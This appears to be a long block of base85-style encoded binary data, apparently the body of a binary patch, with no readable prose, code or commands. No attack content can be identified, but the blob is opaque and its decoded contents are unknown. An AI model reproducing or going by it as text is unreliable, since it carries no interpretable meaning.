z5l@OoCjtbz@|u(S*@uvIFxC#cCvI#Wo@|NnskJlu4-8!MMysn?y1d8KS_^XvegyaA zVx1zh{A46vUXk(PN$U#3_o}qQrGr-Wn zk7Pf+6EJAiABv+r=QqI;XiqnXf29tXy3N+)U*o=N62>U!F-$E-?~B_$juL5GP#zht zIoZAM{D19z+jK+qh|9URsZ-Gobi--t*E(YbRWP`+{W z40db6aTyD(J8RWh@opMh&s=BQ$qZTN4exB~n{6+S)4yYqYk5%T2g~u?4*Yx{{DcT6 z%ZQc>)Vx?utyw&4`S!M>m){1?t!v1);|LGzV@8KxM&<4D!}(`m$5I$R@lD(z))S18PlHti zODZ@a_{5^s?6bzDkyowMKM(%oaozEy4aVPmzV(!h;cWf(kPqosNW6Kcf32+~T`x)> z^ZVP{@!&t9vCV$Jj1*CGM-j`xESRrx3qnb@t;VW_$NNVT;&Pm-WGP78tf0s?RJtvz z`t{^)&;~l3PwcxAelB=Y{|&?Qn}7ft_3QW?iZ?omEQk2MjB&M7+ve^8pK6Emq1*Da zd(tmIyC1@k`Yr31yb0in_!#S}WKGWKvkN80P^a>uAz%gRBx}htcJXR0T{?tTXt4s- z6CxDfiTP+<#sAeSxqg-!jZ2B&YnMje%m0#79~>S3cyzq~==oGd)c2czelk5EIG^7? zIeK#Q*oJM6Q2fTCFwIZ)Bghrpv8jg$XNN$*pmvyh}rYSZ&?%I)6{)4?}alA6(DZ%~&zujA-AXKBz?5c3ofE zSYJhJP>xqlX^+c0S<09A!#Ua5Cdf%Fh`O9+ulCZ-`=ISF9{up_^u~)Ho*x~@dD?psBzgGy)zL}kekoN3qx^U0)zORc&-DGz zj!vu4%F?BNy&B7Mf9KiDlOt77{@y%3nocLROML+e6}6nK%XhlZcVeX28?Bw}@@c8& zww@cod!P_7iex6w1o)NzMz%%iM!63iq5UE8`w*xc8EEhjV;MrDw#WD54s8+BLwmrN zw%RaHr^XA_2-kMYTVY`WIrIr{p$*Z6bY$M_)-R2!p3%Z+wvulE|8IgT3}v3C1>|>@Hg;#}e>qdT(O5a> zp(S#&iV}W1ZNnZ-S^+L-75i2hz3tZ?>cwW^;bdp}T*GsrK=hly2N=NvfY!o~=yRMO zFM^N0jhwimC7`J_0c$_PleM43O#5FwewuUkRsZ^IKo3G6zZo;k>-G;qYCvhoA}ITt z7^?>zF8&}mcWqUE5u-}(4f)w0j8K)I-ilhqsqP0QJm_$$F+TNmyu&kWy82oU|9MJ} zY4BmxN`~%)>Q3|puA1Dl3lk;!d{gohp73oI(av}({u|!C6&$Xmu^dtL>hG;T@BLl& z$2KT?CSHdw$H;i~vgQEY(OH(?oIkzE^B`-5s3q0_S;IYunPQ#O9JH$u)4Ttf^foj; zv*+a4tg<|*t=E=I>P_<$m4_q9zl)wVR2~^|EqIYFEZ)Pjh1~i!FfVVD{akP@Luk*r zT2y;Aw;A$`T`YAnw)S6eqTah9g%qurniTbIg*AbGWgCK)>I|yL0x15|_kqy(x>8Ry*L6`J(Y+d}}?crI1?gz7zT^zLy76gy2KP8rll~hwDQNczl)@ zwyleAb$!xD_Cm|9WRR_gECnUHSZ(auQaNceqe z9V-e6kmK%obAIi!tK)jF#r4};MmyL9{V7(&Snl#YxDwniS9+X*WPSQ%jR?v?LxIbi zPoh(@I+XG7iVT6CkV!WexkF-9iI5a#M-hq<&ix}&C?@s7={}rv`N3S!)IY&VIp4-p&y+W>c zwO38CNx+S~|DkXubhS3Z3pkt^(e+}@zl!p{h&-kidLau4PWo-JdcX;KBGIrHC;uyc z>ul=yvJ?&TX?%8VjDxD)U&ovM5_ls%4Zodo4t-Rj87{~7_reqRLHv9ePk8!K`1kms z9QUuqf7*i_R22VTi*Fy7Qj`b^iXXBVy%+zp2m1Z^pBnxDhf(uK@g0vL&nSI0YT@~B zHmF_CM*7mFr6}b_enIUeE_I`S>juVXbZ5DDx!stiE)cr4JCB zhx9};z6w7H^N{_Q$Rk+>tsh5cuuu-p%dWQ8U!k?u{h;WbpmhATcm+<*V3!s?F2Cl( zvm13COf!}A+xh2!nmL7k5KN)}6RC5jaGrL}5E}1Cdg)& zw|p_puG60}j4_V&D(rac>y58ZeS+iSFMD-HS#PF&bWH8k5SLH>s<9vnRpTfhQ^us` zD6E73Hr7QeTlh237m;DmgQI+jOoE!_TR4yQhg*WGg$-mN5I8F^RvbI1h(LCp(?{{` zW~>J91{DiNxQKYjUc5;xghJ%Linqvs@v6w&ccN77&6+gym%Uw;-X6xhO{rS35xcHcQ8I$5fW|S1xpxLqtDgxQ`0nU)6yYL(}B_+ z(z&HmNK+^jY1$^Gg$^OTK#M391Q8HQL;)W|QA8AwQXg6oFfyZpF(3${1|A|$c^WDp zBFOjuuXXl4=iGbK8GP^izT4mF&e><5J*>Uvz4ks_D~wkQ<5JnqLMfrAqAWeA_v|?- zZ1KRYDBothve#psF^fQ<6I^% z;TkLFm{5w3Lms?zj^_$|IBRpz#vHWaL5b}vMnymOFp{umzxh7r{dw2J?qMr@Z*<9 zKlZ7mByGZvm$roe{UDVs1?M_JMx@-0=N9to!lZQ0b@Wq(AL&!!upFg%(ho6X|8Ej{ zgdt&eX!Y*@O~q5rc(7J-Ao4(xt~%Bg_~f)Ym%)E?*6;L3i)b&g-juUr{P7PrX>RP3nC9enr1!Ay^H)gz=_o zxp=lcPmZPMOJkdKZISQjnytpmdojq24%BlNJveE9xIV})`O#y7?%ef3zh3+(0Jfp<@y?jk+0zr-$>(Uh(V~m4F=+S2tB3H2ev6uC z8+snxrC|F(eJHqtjaHiO5}=R4^N(1(w9%lt6P4>5)QzV`Y#qOrsV6(=PFrFXsYK6{ z@!AiTCsnb1dX7k0(dBKl8TV6g&7Qtn|0?>{NKbgCTLZAu_KYpYj@9-b#AX9tcPI4at`_I=jiaZ73l+^y*8Y8p8~8AT4TRWZz)_>~8_+LW#TvCh-!Fgh z%8~QV6|T#_IG)(|7GVs!FG|(-bBezkyW1lmgQ3!%1N&ffl>(_cd` zX}d4#h3|6re;fYMzhl=6Irs6g-k=qpFT$0kzWd60W6P=Ekvk7KX8R?E=rdOME`M8m zRwVCZ{rJq){b?HCulJ-?j%KNh_Y7%E>6~pY$Gy&zmOga<4LKD(Pv=3O(6vg%0JU(5 z72c{Wxwx+0>UVh#)GyN6f%;E>7k~RN*MxC$HvhMb&-TajRPnp$DjP{f-jBK!HCSp` z^tZ3aT&}`cxTh(efBsPBLpcHE9wn#eL-Ts|@xn{nC;reEAB)lK$HzZ@+rFQ|JO~`! z_Wf;GzisTeJ+Ct3ut-CCmIATj==R5(bH;4=z3mnPN4LG;_^o`29p%S`|M6fQf84eQ zALsbvwe0PbSnA{W)KHd)24gJ_Y8qbI8K7WFm<@P`>*(HzLUtbQc=%pyX}gPqGLNe~ z)EKK#i~VZ4N+>^%h+PFI2j*UB>W?jAcd$*X5qW*JBhVhP=5z6uf8ElqL9m3kKGBGJ z_qWEW_00mDri*n%DDXRPY|s0}t{=|=Cskd1I!e+8P}`ELcubHuM*OF zqn4x=&2*IYe=nRfqHv=XW`9S5Pk!pLRoWz9p;G zA2nvd+e@_=Gf4ZZDda? zS1oKYa%dB(Y#_GyVKUI47_7h@z0bOSGv3W#j`#7)F%FcHk2_NM4MU!F zptQieCHUL=MP^AU_EVz;>0j9@-XQOcFD-A+i6Q3M$VvOQKf-0M*dL6UR7%y@DQbxN zqd)QtSf!M~{DKv0V{fSaP!HsK#u5~r?Q4g8Ao`!32kk?=aq3&PoIkE{fAx(v?B#@wk?kfYFwXm{|;8e^2gUMaL3L$_UH3lSvE!K5a&k5+~`;^h;G8 zCHcivpAC2<_{lgrw&Jy?`x}WfnyX_y_&)YEO5<{^zAZ}2*El|2_SZMgY<8_vM*GbG z9_WvJSl3ikvpCxDQ4NmTvYv2nIgDCv9^7JK>uHZ1Utf^=r1~4=h~Amkef4W~INZKr z%{e#=Sw8IrRJ)fKY5`H5vk(Pm7mViPr*MSvx3%Z8?=&#x(C^RnaGkCF;a{*8#$#)wvsVXUunhVB z*5Z{rFa>^+_^YuZRzo?I`Q~n9`lySmik# zM)RhnFR@6qgq8R)hg!-&VgVlIKZ9sE2 zfV%``J89eL2xENPu~NeSxmrC27EUW>jrU{R2w+N#PY&M7gZV9GdJp-P0?(q4XYHt!Z!I0l zNLsI66drwT9<^ z-``DN-=W(1wjUoiyyyp0{ogy!fL}SKrQ(;^Rz}D7a9Su@Y>4k8Bpv);8PEPl(w7&> z#@WvROoLt&!cQSgt?D1WV+xPoPS(Epk|4D3&kH*T85^asMg}!wK zYAtH=&nL_H>$A2Wagq8ePjJVPVJbogq*~SJ@!fm+ffUdtwh&jqv$<5 zlkF(yA;t161@$?zHSW{YQve7@9Wl$>caq(|$(8KSKBpI-9#^#o{3jl?KpvXNn_4b@ zbT0kY_GCb>UQ$y0@?61LEwx*`@vpiureD{5{PV5&KwHhmJ;g8QFX3Sod&OF54RhU| zrvxkzK5gUe6-F!*9izl@tSR`Li+UJ`pfT)TpQ@3+QE-4bNWF_Q#CT@5&E69$N4mNO zy$A>H8(Z$XJxj5N+HP<>N5Y@{a)mwy-c#@5DimdjpP%}DEOTTg?B3}mD1R_JoweVe zY=0?D=_#RJq`o7{c*Zd6K61)`#wi73C;SjTlK!ecknz+rfIBUsvysaZyJ$aBN^_5- zo+}bthB&9|gd7EX?)Ua6zxem{kF>>=+gSKU$EtW-=E&sfk-?Mw{bb?y?>OJYAD@39 zcqtvzhOqKITDs!gE%&6PzRzu%h!T?lS^i_>nZ})shhK=l+OZRH^jS^pxn8wn$JgO` z%z0n6V<+&bHja$`xQCQ`1uVyEjP%TlVeul&xH3!6Ejesh zV)E1`wX05tc8-jHl%55{_zF+6XvE*aQw{ApH#IO`2J3vYaAF7l*8c@4zW{$ z#=t!^dd7{;puOYlD%GunETH72t{sfHpnlQ-8{6`%=r{%2xH`=xC@b#&0T9M&u1Kj7Rr+9_u$S^ z^^y^znSUhXQLhnoY|gZv#AYMC2|W*jvDyo1&)Yqrx{S4aRO-gZ;Qt-{<=PSXETOo6 z47PCRtPz`90d<`@rN|>054EXi9umzt=g0`1TKX8XwS z^I+gZKFV^RL_Fca^yg@CdbNP*i_sr>2mPQ`t|8$Np@;*`~)YEN3y|Ytj>4^$pIajZ0>ZKc15J^hPtf)c#m6VNUw+ z!`?nue?$YGwo80!J4#s|s$7d&v9;1Xzm+Aea?QP z&+;1USD{~o5gc|5etpRAhxs`Bub9SOc;6uR_ak2abrplF46T?`a@`q#3@u}>G%(eD zBdnV%VRmi8jwAN{StzG7#}i+Ufu47uI#}2K@SzbsvHF}pBHjFIco*q%&{1j>UK#?~%4= zb@0BVJiU7SHV@a6mil(c58GS;l#($QMa<*U}lHI6aJ!xeOM$4M%d)9K+FYTZ2SwbCb zVH@LVD| zO6jSq1oXr)3WxGVy?J_;32ip^glEEgT)qWo8+t3#eUB&pC{{_EUd)O1MXg1Z#XLJ$ zC7phE-JYb#Sq|!3LHHe9d*rIzaYJuJ3%r$-GmJyp0)EYP`E#)osc&c+`C9yPPzEuB zFwy8GOH0H^ei1&njzE}4m*5Ib^fwI^Q}latTF*LAn10!K9H>mcE5=f>em{lI;lRhn zVv$GiBo`}riETW^ z61CL6`oOuNEF`DV$TL4SSc$5-q_=4x1=xGUS!ADwf zj=!FoqdbI~3BM%97PU`P0ZEO>vk~T`3UWlt6^DVpZAEO|QuOHr;Y~bcDZjpW^0Qo>yU}0Vej;2Pa}H+kRR2=)T3tva^>b6A~u; zX*ou=#N!dlDT3T0`aRMBf&W-e{~oqJ8Ci_UDbu>LlKH>|e3v zXJcl95c2BrLouk^lXv*PipctP4BmXi_Ul0Psnuoe5nCT=;LzS|^2r@ioyz|B;|jvl z!pWcdVa74Vug7A5|IOgvc03jjW8o7IGlF&a?+&IuD~tW__4POFizlW1<6R5hN&6_4 zieqa%aR0c9K)Fbp@xb*)*QfoWEV8}}tNjQ2vj1^WKJesNo|?<^`M3{>-)FV+JO{nw z`FyHVsIG4DE7*>`V|)Ie_A_2RmZrFVYo)BMMd?ZBgSL0<`ncA6GWw=k5apgm(daI1 z{epqFuiMsa&uz4Q)Oyy!(o)%N$9kapbUr+}7_85;vaB4n?e~>>^Avx)!TRIRo6aLo zKh`~9JQAkVMxdDEy>}p<*VlWrq`e&`JU3)nKtjfQkK?2_&GQP34P2*BSxk@(@}W*B?vd`rLa)7bYk1{mr?%?Z-E+4Ef-Z1Z+eHwSL4sOhi7)*tJQ*{N2Dcxk1m7nZH>Gc zq^G|15f5ImWAO0T&QEY0`lSkfErsVe@Y@*lE;K=Zw5{9zwjrPEqFkq?-$noVVXbf= z-8G^l*UyyVh<{!mJ((9DZmP{_y~;baTwm~t?&rabQ%9%uwz<8eexi}y9!@B4w&hMj z3Ej)*;amLidnK*5)A#tj9fB67wtbhKf&avxSMCt!o(=j`*!R_VVJd7z`)k5n(Tm=K zGW?%@Evp-IPZUo*r^dyUUT^Y9YTJ}1{81m|Ni+6m>(jLr?`g1R1MJauwOsU5gBs63 zJKm4lhuRPG@E1KS!Id)4BWgYKZSci#WPYDDxde9^(3@nxbIH|*&6u<8KB#crg5C(? zF#UX=SEL7-*{T-+aR> z&o`)du)M!4qs5i)x=l#p_dl{UvGQc}h}cV>$kV<#k4Xlx7*+B# zc%ZnZWltmZmpl!)LX07A;a4lx0iRBD@mlAC|9=|a*PVdA^P5dm5Cc9Q{AoP$m@@{^ z;kCfMDfo+LaPe!rW2F2H+3!9Ff6qc*4bn;GGpOBwp8ULw5MlqR*D&?|=U;lA1D>uj zmHi=|6RKyq9D(=z=jQ{;XRUNq&f$MfOPR7%p9J5h#3J`vBb!oxec*R{5c$;TeAX*|t3XZ*}-(z(#xiM;lt_+LW!`pf>$A;R)p=wOForPz$kR z()tNkMq`l+bFZ+i->#=>J*owIwBJ`bx7mZ>U$)PbXY>m!klt;C#5>gW+W7p@Uq9n0 z?7UJxpqBLufT^L*& zXX)*d%XubuAP*o{-;8%vyQH3>JBWg^%JY#D;|{g|{`s&N@8MD`O&yK;kA$KQwS7z7 zhe}Te&p(6sXXpG-+oL7KXkucF{};_~JlUf3taBBV2Uc>B59o8%gK3>czwhw@`-~|m zQGZK;sbS!w7y02m=dM)y)BaO~_eTXWZsep$t6mFU{c~j8(eHWBlfiL=b!sgvVP*HB z@gvGtYE8O^r(B6&*|Ir7?SnR?`UB!~j05B2p|(fPP95gsYA@&)Xa(=z4vs@PLu;2B zrQ!@Bd^q%fpz&HR!<{wsxUfxXZ2Z30fo1FA!JFJRI?9`xoOj}$#t7;68KnM08>{8z{?|i@>W)P(kzzC`^(4LRG!@Mms1&IWgtC+T5r5>r*aJb-_f+6S+Boe-Z*XU{>M8D zv!r`VsAEzWq-Lo4xQ*Yoy1%V4p53d@{B4;?zZjjTHf;3l`OA9}S4*)U*4wSNw0BlY zyb_)b;gvg@koM~5_oS$$cq>Re8+I|qI~*6+Y4na7L99pGz#gW4PRoy$d$1mU+unOd z4|x1KIPd=UiRb>ayY}}c*Sy-G7uxSd`s-=Jvj%zAcMbIW^85$NGdYfJOScKBFt(T#sw&!_K*&6i^QV!Q^ z>`!;U(ITYnuf8k$jOpRFA6;)>?XN+v=&x7V!1kyYaztw9@?KAQ)ffP-4d`ConeLm> zJI2VRI7(e5u&{~NiWFAd3r?%oMlH}T-v6vH-jBN|Emn+idpZWW>Qzwaoh1|(1`dVI z5M;Fgw!~z5nYZK89vVmVsB~n6W917x3i}n zC^uk?x1RM%Ut|U9V!zlPH4cTdhr_H>?Lbn#N3ROiAlHa4%l2ENYP9qo?|qev*6z{O z1v`7TN8bChWE8{#&We8&D!26wJ6oGjn(ICO_v3L#t%*7ad91FLavX#<{fUeQ;VD=4 zNBq-#i!uIn%V_%06-bTxVhj*z(fYO2Q>=8X>ek=Bbr*~3{+p^TG?XC&> zq==8vebzNuPu?HO_=)vgJK^ z(3?F2xHcQ>D|L9&)^xPt9XnpTPC~g&{!TA|<$@Lx%kYFVNBh7(2bLC?QkNvYk}l)R z1=i}-;-6LGWGu#6C{#dJ+kKqgDx>PI^!-qKrw&X%D&?j1lUk0dr;n($lJP)PjwG+XU;S&0LDX5&pS_G!ZR(X zv#6GNj6wm@^W-fFf-9o?RY5v-3E0{IB(B&hGQ+wm{z zo-pFi|6UWurXDB%TS0BhTcr<{@!zo>`%}G}>*thcR(m}(`t{ogI#Zl+&t_CDQ7MnJ zx)5@E7E)RgYU9uvQf_Mbnp%Gxt>rg|&tGEuXL~^1)1yvrrI9>h|2;`|`HR19KU}Sx zr39zVrZ`S(N2Nm&>bE{X{|xqJN7>P@!z|G{w{0Z@KI4$*uY+@YDE!y6>GZrTtIza3 zm$bp{ss3DVUlY)SW&x%gwe_KST-jpX|Bn9A7V~!0277t*;K!2=s3{VsxMHI=?*?C3})^%8iL=uWb zzV&`+`01aI`2C?Jr4(qttfIC!rM6!;W>h=<1opIyDTqncZ?v;KPtO>KC|Lg&3eLiq z_|2!uD0eLW+4D8DANrlGqYrPb_h8{|eMSoRc;1pDg?Ds+K6!ZC6*>#+!^LOnts8-{ zUX0^7%=}vMx~a$LXkfQN3%ZX&`%C@N?wTM5(gSNpG)_E%b;z;pt2VJ3IpmR^4M=LI z^x(-%^e)=?WwrRcC*0RQTgvDYasoY%t_i(jE3^hQzLz}Mi!ZdcCQEy~h3_9OylKU9 z*UWmfL(5;kU}^i%_a1`7Z7=p@BX7)e;HMy8isxZD-1ZnnrMrT3ObY7XJQDAUoXlb%%`Ii$GWR3$GoG5Z_({70d}2; z9*|>gN9${F8knxX5boA<77vb!8P?x+V9y&t%y~Est1{GX7&$T?f7eK^?(B1?!B>v- zA6%CmgQxa)ehOjwqnlwG1tUf?v$XPg;A>B zHyTymaAd06*nJfA_;JmA0shz1T>bS0*BCu``mH*JM=U%E$41mlp5n!4#+I}2;E!fsje{41K*DRdCzV8x*JAg zU+B$L+)|rcio5mM^7Q_*CVOwo(`qFJ*nf?vi#iTxNAq-?(dA}gJ}4>F)@AAV<&^jP zcZ1n-+Dj8@o&JOhWCr`gc~bb<9$G4zCftG=ref4+l;n5e?N@LuPoXYK?B#w? zR~J2H)aP}5jrhd*^xCtt#CeM@t0k?T!+BkbUfQ462ED+98RMQP9rT zc%LlqvZw0WQirDR6UN*-;BQyGCzhA_=Y<|Eo-5|@GL>GQt-@ZcjCk9v+-Z{f$t$(* z#CUJ~E3r~Z>|h_bkD6TCoXEi1d2fgRSL*k&-K~;kIqw!_~ZscFe zj~L0ljIX=>uz0)>*tZTCr`%3ge6=^)Ut5lIOPkpLFJ3vj#%fz<`FQ2#2-hMe(08O> zpy+ZO-#I9E7OVyx3q3(vDta8ja6@6L-tc;FnISV7SrgTT)X%e+rfqS2K6%K!6SvU`aN&7qiG=%V(~FbqiO8iDNY9W zAB;sSdQwYJo={&`jAl$Ab#cOl8iV}>%UfA#&z6an16;4u$Q%n-YW@CPPyTv!c+$*9 zZCSZO*%L4NC0;q|a~i?W9+Bzs%2}(3CpJ+|jFeGZ&6fS6#%O<>#3qZtjaIu`LkXUT)7of|KL+|m^5@vKi` zsm5^BOD(!*A{l@4pZaoGcLiUQbyfXKZV$=7O(>AJt#Walt6m(*R#$2hBkj2({7##$ zl96^8vCgNA3FqZS15w`F{>PK0!Eua=u@011*);}oatj632zcJLt|sfK6~2Uw)$usv z-daP@ZY1?Y)2^Km+_3&H7j;|9QVd;b)`=zrDB$_jU$}@sh~PHDAL255A~?}XMu8p zTDoez9|!$x#!7E1F3#9ONKby(fWFaXIF~?uyLz4s&zWJ2K7FM;e`XHmTF-G@fPB)5 zTHbmZkT?E=ssB*w>wcqX+w(Pp%;Ga%eQUtY_f7lJgD<@J`wMqxI@eg;b^P(Ar+s?Ok9HmZwHx^R zp_|`x{43|@es|t0ue$fWZdzKeBdV%j-PAZ@*A0$)Kfk{0)RyCZ|Iy<5b^Kj=y5`qk zt!ejlOzXQoGi?UaiYqQ`VrtrMxK`57zi^$T#_W=`_37U-tyr}yVWu%p;=-@K<)?%G z@yD5_XWXDr%ln#VYG%nZ(=+Qck6b(K?ge|AjM;G^^L9P?=S%+f^H=0=-0t|-MaQ(x z%X{L-Zh1HD)wKTVPR*}*#C`tA4ELw^h;w#-_I{T8v-h*zpS_>s{_Oo+_h;|txj%b< zg8Q@g3*Dc+U*!Jm{bKiL?+frp7Oreu{cI-2?f$vrqo|+e_kQFRwR{ZA=3s6^niYsJ9t^L|HnucXcAzVrj$cg=ZZFVp&&cM4yt z+0=1A?<=0%_9H3Zbov8QE@#$*Oq&Odc!(+b@nfbn*SsldX5JZ{yl?yL3zF`*WZqAB z-!z<1>z_XJahB`JcwW-p_v)YEz4_vulJ4rvdy@CfyDpTptNOns-Fa%G;A6$4A4!_| zz|fycdv9JLY5h}wlXT~aD}ToPwo4zDv|;_opYy)+?^jD&Kk;2jn}?kCH1l^o@DoV^ zpJ#aAkZ`4>op<-@ee&{OFu%F*hmzKBOcy%YIjmmNhP`J?+Eeuny+7+YNqest@JqgD zzA#DBU8kKPX+_%gl6GGIq@+7PdQZ~c86&${KC}50O;7!zq%}1^lyvv2Z%EpCcHy%u zxAV92ByApko}>+nZkKe|(qBosqo)6JELZW@T1h*vSS{&}fjcGLx#}TFYp#1!^Y1Pe ze$e^#`I2Uycdn$nN8P6BgTIs%^C)TWMWdf*{cZQ1B5CH6mr7dkqwh(&>#80}duFD+ zz;eAW94l$&l68_ce6vGR^Sg&6t$FWH`uy$uU$cDIFK0@+^P0_)?wIg3Njrb=nBJGa zC27wYr7yC4=C$)At^Y>5q&vQHlceUXCnfC}`Zr0NJIh{T`JMIiHNCA}(>HIFw6pLD zNoz*FC8;Sd`3=jr{e8BiJMY`9>5A(m-O=+Cy{&=yZH52cW)SUU8KELDxNi#32`kl0M_997} zXNEO>|34({y5SK?J1hPyX~Wgozi0W~e>hgs-l3}{tvTT`Nq4NcN79O=&r52?ekkeg z_p?N9>}nh)Y0u45B;EP@g_7>hT_tIQ(=O?b(=L&;e#`ax{MV zDa-z{m)XC9Qa>)xj&ZTQ`9CEb7pO>I^~iE^aaiXf2YoB zNI3nn`=)nqelP166|YYpcEbJtlbi6-^d-Of+x81~{CN5?-`xJKV(D>u?Kg@B;e^vPHr>+_7{Pfwv zx3>N)(Fu3G|NIlzlsSujS^Z|ob+1gn{E4Br<$piVIs2&#R^Ptn*6AZRbv}B{+I(m4 zqg_9FXYLs1*>~R>Q=L23Nn3Zq%z0Z19p{|$dcL%1j8nR_`?EEvW1VLoT>FJvH&;3n zo|=5!^FJNtgua+~!?1TpIbD06zj)*0g-*uzwtVlI9fi(q1wVcKJ71}CuKYsg%-^gY z;f%ZMm`ktv!C2?TwC(3Sy{E{@_|>yN`@{0lZa?mwUi62rf9KAJKAb-9@rJX1)|l_S zI`-*3rMDjIStD6T;)u^x9M{)WlndRFM4zR-ESQ06y9^^z`y@ z7nh7bJ@Z(n^TvDsaA9b=^RJxW&OdALbZ6=xzqMk*_bZ&zAy+1>tr_k#U$^_x^=FQC z`aONk-YasZImMMfs66kMNzRpPitoDmGw)1S_)K%g{%ih6-Hmz91LJSoxM%NVXVa?E zm){&S(z)_G#mg^vV5+llV)54c`zASm{o+~uW;|Q#WQ?6!yyt66od<9EXYm(q9O~4+ z`?=A-J=1Y!96$a$UpZ}-v+U>ZUNq;XD(C8B2bC^5d7ks7o1gjJ+&dOJe_a2-J-6JD z@AM0m{9(>Di=5<3X8&y8&GVddvR|40#9vaJ>u-Cfc;ee*orV*RTQK$PIZnqZQ&vxX zc#d;J`#VV&-!ap9=JLC~{eI0HXT`TVUU>Ll!<-i$DE(H!HzzvZc(K%ZdC+8MLCxD& z-BLW&2~Rp}L|4*m=f#z8 z`N1?NaqVaGzr1;j^P4jp@7<6$-I-B*`GgN{NOww0ZoM{V_Y!v=`#b+Q|I^=|_RKKn zn=!cBx!{t^J~eXEVrTd}C%k#vyS=pjD=41xgBHk zr_Xlo{YOrH!MfSbnj4=#Gikta&Wi73;flG={WpZ) z88dUf6Hd79(!7aT&R;t2zbo;xSRm@?0q^1TzDoc7ux=b8r} z`OXWWMNV_(R|kFRu{qA>IWzw8K=mZ2yL9dydsZxRzIOdTFUlS?!MU+_$C-Dg&2-8? zee9xNzc<^NfAcAcf9a}sCcQNIv)k5}IUn4A&9A<&dXm%r$NSB?x=QD&lIOe5>vya( z=!ffGOgnw4^Q!sU52ht7aDILH!z)hgneDuG`Mrsse*ZYoTbwj9Q)me z)16)8?yULmd+MF%(mr?Vd#fs)Z=PNJ&so>abD7*>z$t_ z{$$JDTTgMWyYn~WYUj;!hRnR_{fzKG~(ClbzBlFPt&q-jki&)`HZV|Gdiid;9nw4ZCHA)42D? zpT7LvInG-nw=dZC>gmpkn=%LXJad}!yEz=$4^$iaM|KI z=Y#&I56F0PrE~WWcjm3W8`NeUOdP+m62$#1;y!+pC?b8;$|Jl$~bRA=^-qQ8Cm!_%Ax%T~>K z@1teTQ>%8SwESh2vnX-?J9od@{_^>!9Os-fbyL!Vb7nbLOqwEpax%;@GE`O+Trmb9i>hd#Acdj^n`rp5F z$5`i%!k3QgDVXkjc4_}}KhwO@`QYJ_KR$YQqx0e~*KB?HhE>j)XI^FA-`eC{lJv8r zADwfIbN|;;ez|zp=}!2o*FE2ru)?`^=ZinTY;J*5`THNGA+5KCe`Ndpk?}{;>zw!siI!`Tpxa#$Z^PJxo|Mu^<{&}9W zeA&CFIA^VJ7MEPO_NxCXb)NX2qNm3GdWAFj{g=Pg(zwXUzU!4gjh^4=EWN*YeD*h% zJHz&kTsyRUhO@D1+|y6aU+F~q3#bcxxa0W$5lTy)x3i1Q`1t-MqKyc zI@3utAI?rSIdf9Yf6YU=`KcyxL8>WSm}<&!oq=oiDXHdUT<5PzHMim_TbpW*!_|sw z3$Ag4)6Jc@I&l?Lq?;9^)6E)O8*pvHwH?>RxOU>Y3D-Tiet_#4T))Cam*UeSQcVT= z*gnvh+v-!zA}mt&q9404&((|3A1w881kr^JX$Y&!CLTX!cA{K8Qkz#*QzP&0LLW458$3ek zrWy{`u^U=ehgVlk3ZryFzZtj4CQ6|-ir%!**1EUGjI@)k(B z^~fV$>$?kP@!cK4a`NtFfxHHJcPH}bjn#J>R`A_j!E!5D@Qz@f)VDj3r@r~U!8|F~ ziM-D92b!_%96$O7+M5Dc>wVR^TQ-I_F`AZqp#o^==AVE5`7LXBF5#~q&Q;j7hu2mu zm?8b{3FMtB?Y!a7YtnMPfjlku9`Y)%WIcA9_NOpAPv@|O6I4};Cd~@uRUjR!c@vno z4S8T4Hm^?da`MbJjz!B&VqR}vpxk81%g+-&GqzRRY$(Vxv-zIlgtU2WQJx`Jbn~Rm zJCNtY9ci=cm^^dYs7N_!(=_LqT{viEtX6M!Jr?ML;M}gq^URyYD6?j(E&}%EnbUB< z%GfsdrM7(Y0oq^HID3Z7=8k;rbNklzwN*9aIgV!JRm6(zHifOl*wMcx)IVhU&&2alIHfd{Wd`?_^^|lKbr!VcH|N#lHiVMEZ$VF9XDD-^$!tk9nJAlCo7xu29cXeJGka_g zw4P*>+>Uyr&VgEI_8^npve0DLonW#<^Gyo-&OWU{T9j;x!a1g>CEFA=WtpP7OjFdI z*AvQ1GZWR_pdHW1z`sNirG8%Vfc~3$CUV zQ;I&6*2;`@Wp`$_g$f6n!j?g%5bqb(qE6{A`iVZ|p$~bD=&y_|DY~tm5c`V$yM1jA zWha{KreweeX>EE>YFkRPzMGDB)6mCMQ`DZbwEfKf;I|48-k5&g!T7h;^~yNf%(G2lWG@{5oUT4eKP0HwJGD6uV5xmEiS%yHZ?$fmlQyl|nyTzsLJ;5;)t-@JZ&03zR z;skI3^HYlXDeds#guovCwlJ=BVNcq_JmsN$-X0ep2d9|9uL19X2NB#uUxlA0g-jCp zp_C~>nPQYF0)7^n!J&LDQ=Dvyn=(x?;9lIG-<#V*s?TUnDorw_;M1kx$ED!KLLWWe z_@CZj%$IN!X$@e+ROX^1!KJylysJy-supx5JZup70{BBMcvwz>Rk2AoJ(@l1}%a28# zL|@RK4wbaZQz6H}*9RkiaC?MCTzp9J$>1c# z4WXS(&`t(uAN;Gsr5zbp2F3+F9{sOq^o^^yzbS6aZ_8`WtqD~OG8Jp&S*PZ>_yIXk z1UXRD4aw4#-U->&5GqbG#VwVfoeEPNDm6-xC{KC|k43-7px>iGYt=@%DxPH~knh$g zZY2S?Amacpk#91ekgJ4YlMBP)X=ZqMh8f;cZ-&<$Z-$4a1aUnl5ww$Kayn9blY3lR z5&j361$>Oit&${D0(>ihtSCW#33!CyZ9%dr0R0yLz6I?$y;(gP31fBp_fIk)OK0Fb=GZ_6TM}NxDALs_uT`k`c+=HyN za;MS7J<1qMGb#N|O5>omfz1PI6i;e^C*uH5;0tt+2%eNAnv&O`(*T~L)9iu%O8LJh zq2@rc=6ldNAIC-6$uvpmEzzVlCW>rk{)Pb|a}F;4%`~Yr5pzvhlx}5Fr0j};A+s45 z%Q8)>K(uH}0pJ7ssoR5(m5t913Yp6iL#6?;fvMZ?h9uHOOBu#mD)J`+yEad*d?q<$ zzL^#>ci~;8Ny2k706*BLdr~8Pnvxze6Ed_M(|R&|$_H|(tEPaKLC@fEuoWQ3sJE7y z+)$xWszf`2k9p9`a-o+&KZCwi*6r$L`Tb3PqsWY!5a2h6HUnuJdUg)#glz0h>w&Bs zlwbyh7Px(;-XEvW0yF4%O|Fh7{R7WO*<6e-x1IfCpYgZ9&n1IQ$(n-RydIxyB!9p> z7wic_P5K7iFb8;@(+(Phgw?zZ(IAhl`3~=Y2?KNRc{;`hBG~>1nFjeaZDlIhS19#vn@X zLP`Bh67VsBI*9yTtbfnVF>^1=G}E?anF;H&%{b^`( 